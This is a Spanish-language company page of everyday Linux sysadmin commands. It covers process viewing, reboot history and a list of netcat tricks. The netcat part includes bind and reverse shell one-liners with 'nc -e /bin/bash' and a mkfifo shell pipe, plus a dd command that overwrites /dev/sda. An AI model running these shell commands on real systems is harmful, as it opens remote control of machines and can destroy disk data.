93 176 00 43 info@nullseavtec.com
Linux - Comandos utiles SysAdmins - DevOps
Queremos documentar algunos comandos útiles para el día a día de un SysAdmin / WebOps, sobre Debian/Ubuntu.
Visualizar con top solamente los procesos Apache
top -p `pidof apache2 | awk '{gsub(/[ ]/,",");print}'` top -p `pidof apache2 | sed 's/ /,/g'`
Bloquear teclado y mouse sin bloquear la pantalla
xtrlock
Saber último reboot/restart en Linux
who -b
last reboot | head -1
last -x|grep shutdown | head -1
Tareas útiles con NETCAT
* File transfer
Server: nc -l 1567 < file.txt
Client: nc -n 172.31.100.7 1567 > file.txt
* Directory Transfer
Server: tar -cvf – dir_name | nc -l 1567
Client: nc -n 172.31.100.7 1567 | tar -xvf -
Compressing
Server: tar -cvf – dir_name| bzip2 -z | nc -l 1567
Client: nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
* Encrypt your data when sending over the network
Server: nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
Client: mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
* Stream a video
Server: cat video.avi | nc -l 1567
Client: nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
* Cloning a device
Server: dd if=/dev/sda | nc -l 1567
Client: nc -n 172.31.100.7 1567 | dd of=/dev/sda
* Opening a shell
Server: nc -l 1567 -e /bin/bash -i
Client: nc 172.31.100.7 1567
If netcat doesn’t support -c or -e options(openbsd netcat) we can still create remote shell.
Server
$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
* Reverse Shell
Server: nc -l 1567
Client: nc 172.31.100.7 1567 -e /bin/bash
* Specify Source Port
Server: nc -l 1567
Client: nc 172.31.100.7 1567 -p 25
|